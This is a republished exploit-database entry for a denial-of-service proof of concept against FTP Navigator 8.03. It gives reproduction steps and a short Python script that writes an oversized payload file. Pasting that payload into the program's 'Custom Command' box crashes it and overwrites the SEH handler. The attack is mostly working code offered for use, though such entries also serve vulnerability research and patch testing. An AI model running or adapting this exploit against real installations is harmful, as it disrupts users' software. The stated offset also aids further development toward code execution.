发布 2019-12-19 漏洞条目

FTP Navigator 8.03 – ‘Custom Command’ Denial of Service (SEH)

Exploit Source

# Exploit Title: FTP Navigator 8.03 - 'Custom Command' Denial of Service (SEH)

# Date: 2019-12-18

# Exploit Author: Chris Inzinga

# Vendor Homepage: http://www.internet-soft.com/

# Software Link: https://www.softpedia.com/dyn-postdownload.php/5edd515b8045f156a9dd48599c2539e5/5dfa4560/d0c/0/1

# Version: 8.03

# Tested on: Windows 7 SP1 (x86)

# Steps to reproduce:

# 1. Generate a malicious payload via the POC

# 2. In the application click "FTP - Server" > "Custom Command"

# 3. Paste the contents of the PoC file into the input box below SERVER LIST and press "Do it!"

# 4. Observe a program DOS crash, overwriting SEH

#!/usr/bin/python

payload = "A" * 4108 + "B" * 4 + "C" * 40

try:

fileCreate =open("exploit.txt","w")

print("[x] Creating file")

fileCreate.write(payload)

fileCreate.close()

print("[x] File created")

except:

print("[!] File failed to be created")

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